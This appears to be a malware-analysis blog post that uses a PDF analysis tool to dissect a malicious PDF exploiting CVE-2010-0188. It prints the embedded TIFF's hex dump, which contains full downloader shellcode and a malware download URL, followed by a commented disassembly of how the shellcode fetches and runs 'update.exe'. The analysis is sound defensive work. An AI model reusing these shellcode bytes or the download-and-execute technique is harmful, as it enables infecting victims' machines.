CVE-2010-0188: PDF/Form/TIFF

Given the good reception of the last post, I’ve decided to dedicate more time posting use cases for the Profiler. Today we’re going to analyze a PDF exploiting CVE-2010-0188. Quite old as the name can tell, but it doesn’t really matter for the sake of the demonstration. There’s no real criteria why I picked this one in particular, I just downloaded a pack of malicious PDFs from contagiodump.blogspot.com.

Opening the Zip archive with the Profiler, I chose a random PDF. It is flagged as risky by the Profiler, because it contains an interactive form. If we take a look at the embedded form it’s easy to recognize an embedded image in it which basically represents the whole data of the form. Let’s load this image as an embedded file:

Embedded TIFF

We need to specify the ‘convert/from_base64‘ filter in order to load the actual data. The content of the image is quite obvious. Lots of repetitive bytes, some suspicious strings and some bytes with higher entropy which a trained eye can easily spot as being x86 instructions.

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  4D 4D 00 2A 00 00 20 38   0C 90 0C 90 0C 90 0C 90     MM.*...8........
00000010  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000020  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000030  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000040  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000050  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000060  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000070  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000080  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000090  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000A0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000B0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000C0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000D0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000E0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
000000F0  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000100  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000110  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000120  0C 90 0C 90 0C 90 0C 90   0C 90 0C 90 0C 90 0C 90     ................
00000130  0C 90 0C 90 EB 46 5F 31   C9 83 E9 01 89 FE 30 C0     .....F_1......0.
00000140  2C 01 F2 AE FE 47 FF 89   FB 30 C0 2C 01 F2 AE FE     ,....G...0.,....
00000150  47 FF 89 FD F2 AE FE 47   FF EB 71 60 31 C9 64 8B     G......G..q1.d.
00000160  71 30 8B 76 0C 8B 76 1C   8B 5E 08 8B 56 20 8B 36     q0.v..v..^..V..6
00000170  66 39 4A 18 75 F2 89 5C   24 1C 61 C3 EB 5B 60 8B     f9J.u..$.a..[.
00000180  6C 24 24 8B 45 3C 8B 54   05 78 01 EA 8B 4A 18 8B     l$$.E<.T.x...J..
00000190  5A 20 01 EB E3 34 49 8B   34 8B 01 EE 31 FF 31 C0     Z....4I.4...1.1.
000001A0  FC AC 84 C0 74 07 C1 CF   12 01 C7 EB F4 3B 7C 24     ....t........;|$
000001B0  28 75 E1 8B 5A 24 01 EB   66 8B 0C 4B 8B 5A 1C 01     (u..Z$..f..K.Z..
000001C0  EB 8B 04 8B 01 E8 89 44   24 1C 61 C3 EB 54 31 D2     .......D$.a..T1.
000001D0  52 52 53 55 52 FF D0 EB   1A EB 5D E8 7B FF FF FF     RRSUR.....].{...
000001E0  BA E7 BA 8B C4 52 50 E8   92 FF FF FF 31 D2 52 FF     .....RP.....1.R.
000001F0  D0 EB 2D E8 63 FF FF FF   BA AA 6E 8A F3 52 50 E8     ..-.c.....n..RP.
00000200  7A FF FF FF 31 D2 83 C2   FF 83 EA FA 52 53 FF D0     z...1.......RS..
00000210  EB C9 BA 47 7D C8 A0 52   50 E8 60 FF FF FF EB AE     ...G}..RP.`.....
00000220  EB 5D E8 34 FF FF FF BA   12 CE 1A 09 52 50 E8 4B     .].4........RP.K
00000230  FF FF FF 56 FF D0 EB DA   E8 F9 FE FF FF 75 72 6C     ...V.........url
00000240  6D 6F 6E 2E 64 6C 6C FF   2E 2E 2F 75 70 64 61 74     mon.dll.../updat
00000250  65 2E 65 78 65 FF 68 74   74 70 3A 2F 2F 76 69 63     e.exe.http://vic
00000260  74 6F 72 6E 69 67 6C 69   6F 2E 69 6E 66 6F 2F 34     torniglio.info/4
00000270  33 68 62 74 72 2F 64 6F   77 6E 6C 6F 61 64 5F 66     3hbtr/download_f
00000280  69 6C 65 2E 70 68 70 3F   65 3D 41 64 6F 62 65 2D     ile.php?e=Adobe-
00000290  39 30 2D 32 30 31 30 2D   30 31 38 38 FF CD 03 3E     90-2010-0188...>
000002A0  3E 3E 3E 3E 3E 3E 3E 3E   3E 3E 3E 3E 3E 3E 3E 3E     >>>>>>>>>>>>>>>>
000002B0  3E 3E 3E 3E 3E 3E 3E 3E   3E 3E 3E 3E 3E 3E 3E 3E     >>>>>>>>>>>>>>>>
more brackets...

The repetition of the 0x0C 0x90 sequence is easily identifiable as a slide for the shellcode that follows:

00001000:  or al, 0x90
00001002:  or al, 0x90
00001004:  or al, 0x90
00001006:  or al, 0x90
; etc.

Thus, the space after the slide is the start of the actual shellcode. Let’s disassemble it with the Profiler:

Shellcode disasm

In order to quickly analyze the shellcode we can debug it. We select the portion from 0x134 to 0x29E, press Ctrl+R and run the action ‘Shellcode to executable‘. If you don’t have this action, update your copy of the Profiler.

Shellcode to EXE action

What it does is to create a Portable Executable out from the bytes selected in the hex view, so that we can easily debug them with every debugger.

Shellcode to EXE

Optionally we can specify an application to automatically open the generated file. In this case, as you can see, I have selected OllyDbg.

Here’s the analysis of the shellcode:

00001000:  jmp 0x1048
00001002:  pop edi                               ; edi = start of strings
00001003:  xor ecx, ecx
00001005:  sub ecx, 0x1                          ; ecx = 0xFFFFFFFF
00001008:  mov esi, edi                          ; esi = 0x1108
0000100A:  xor al, al
0000100C:  sub al, 0x1                           ; al = 0xFF
0000100E:  repne scasb byte ptr [edi]            ; find 0xFF terminator
00001010:  inc byte ptr [edi-0x1]                ; set to 0
00001013:  mov ebx, edi                          ; repeats for the second string
00001015:  xor al, al
00001017:  sub al, 0x1
00001019:  repne scasb byte ptr [edi]
0000101B:  inc byte ptr [edi-0x1]
0000101E:  mov ebp, edi                          ; repeats for the third string
00001020:  repne scasb byte ptr [edi]
00001022:  inc byte ptr [edi-0x1]
; now the three strings 'urlmon.dll', '../update.exe' and 
; 'http://victorniglio.info/43hbtr/download_file.php?e=Adobe-90-2010-0188' 
; are 0 terminated
00001025:  jmp 0x1098

00001027:  pushad                                ; retrieves the base of kernel32.dll
00001028:  xor ecx, ecx
0000102A:  mov esi, dword ptr fs:[ecx+0x30]
0000102E:  mov esi, dword ptr [esi+0xc]
00001031:  mov esi, dword ptr [esi+0x1c]
00001034:  mov ebx, dword ptr [esi+0x8]
00001037:  mov edx, dword ptr [esi+0x20]
0000103A:  mov esi, dword ptr [esi]
0000103C:  cmp word ptr [edx+0x18], cx
00001040:  jnz 0x1034
00001042:  mov dword ptr [esp+0x1c], ebx        ; ebx = kernel32.dll base
00001046:  popad 
00001047:  ret 

00001048:  jmp 0x10a5

0000104A:  pushad                               ; this function retrieves the address of an API
0000104B:  mov ebp, dword ptr [esp+0x24]
0000104F:  mov eax, dword ptr [ebp+0x3c]
00001052:  mov edx, dword ptr [ebp+eax*1+0x78]
00001056:  add edx, ebp
00001058:  mov ecx, dword ptr [edx+0x18]
0000105B:  mov ebx, dword ptr [edx+0x20]
0000105E:  add ebx, ebp
00001060:  jecxz 0x1096
00001062:  dec ecx
00001063:  mov esi, dword ptr [ebx+ecx*4]
00001066:  add esi, ebp
00001068:  xor edi, edi
0000106A:  xor eax, eax
0000106C:  cld 
0000106D:  lodsb byte ptr [esi]
0000106E:  test al, al
00001070:  jz 0x1079
00001072:  ror edi, 0x12
00001075:  add edi, eax
00001077:  jmp 0x106d
00001079:  cmp edi, dword ptr [esp+0x28]
0000107D:  jnz 0x1060
0000107F:  mov ebx, dword ptr [edx+0x24]
00001082:  add ebx, ebp
00001084:  mov cx, word ptr [ebx+ecx*2]
00001088:  mov ebx, dword ptr [edx+0x1c]
0000108B:  add ebx, ebp
0000108D:  mov eax, dword ptr [ebx+ecx*4]
00001090:  add eax, ebp
00001092:  mov dword ptr [esp+0x1c], eax        ; eax = API address
00001096:  popad 
00001097:  ret

00001098:  jmp 0x10ee
0000109A:  xor edx, edx
0000109C:  push edx                             ; lpfnCB
0000109D:  push edx                             ; dwReserved
0000109E:  push ebx                             ; szFileName = ../update.exe
0000109F:  push ebp                             ; szURL = http://victorniglio.info/43hbtr/download_file.php?e=Adobe-90-2010-0188
000010A0:  push edx                             ; pCaller
000010A1:  call eax                             ; URLDownloadToFileA
000010A3:  jmp 0x10bf

000010A5:  jmp 0x1104                          
000010A7:  call 0x1027                          ; after the call eax = kernel32.dll base   
000010AC:  mov edx, 0xc48bbae7
000010B1:  push edx
000010B2:  push eax
000010B3:  call 0x104a                          ; retrieve address of ExitProcess
000010B8:  xor edx, edx
000010BA:  push edx
000010BB:  call eax                             ; ExitProcess
000010BD:  jmp 0x10ec
000010BF:  call 0x1027                          ; after the call eax = kernel32.dll base             
000010C4:  mov edx, 0xf38a6eaa
000010C9:  push edx
000010CA:  push eax
000010CB:  call 0x104a                          ; retrieve address of WinExec
000010D0:  xor edx, edx
000010D2:  add edx, 0xffffffff
000010D5:  sub edx, 0xfffffffa
000010D8:  push edx                             ; uCmdShow = 5
000010D9:  push ebx                             ; lpCmdLine = ../update.exe
000010DA:  call eax                             ; WinExec
000010DC:  jmp 0x10a7

000010DE:  mov edx, 0xa0c87d47
000010E3:  push edx
000010E4:  push eax
000010E5:  call 0x104a                         ; retrieve address of URLDownloadToFileA
000010EA:  jmp 0x109a

000010EC:  jmp 0x114b                          ; jumps to int 3
000010EE:  call 0x1027                         ; after the call eax = kernel32.dll base
000010F3:  mov edx, 0x91ace12
000010F8:  push edx
000010F9:  push eax
000010FA:  call 0x104a                          ; retrieve address of LoadLibraryA
000010FF:  push esi                             ; "urlmon.dll
00001100:  call eax                             ; LoadLibraryA
00001102:  jmp 0x10de
00001104:  call 0x1002

Very standard code as you can see. It downloads a file with URLDownloadToFileA, executes it with WinExec and quits.

The next time I’ll try to pick out something more recent.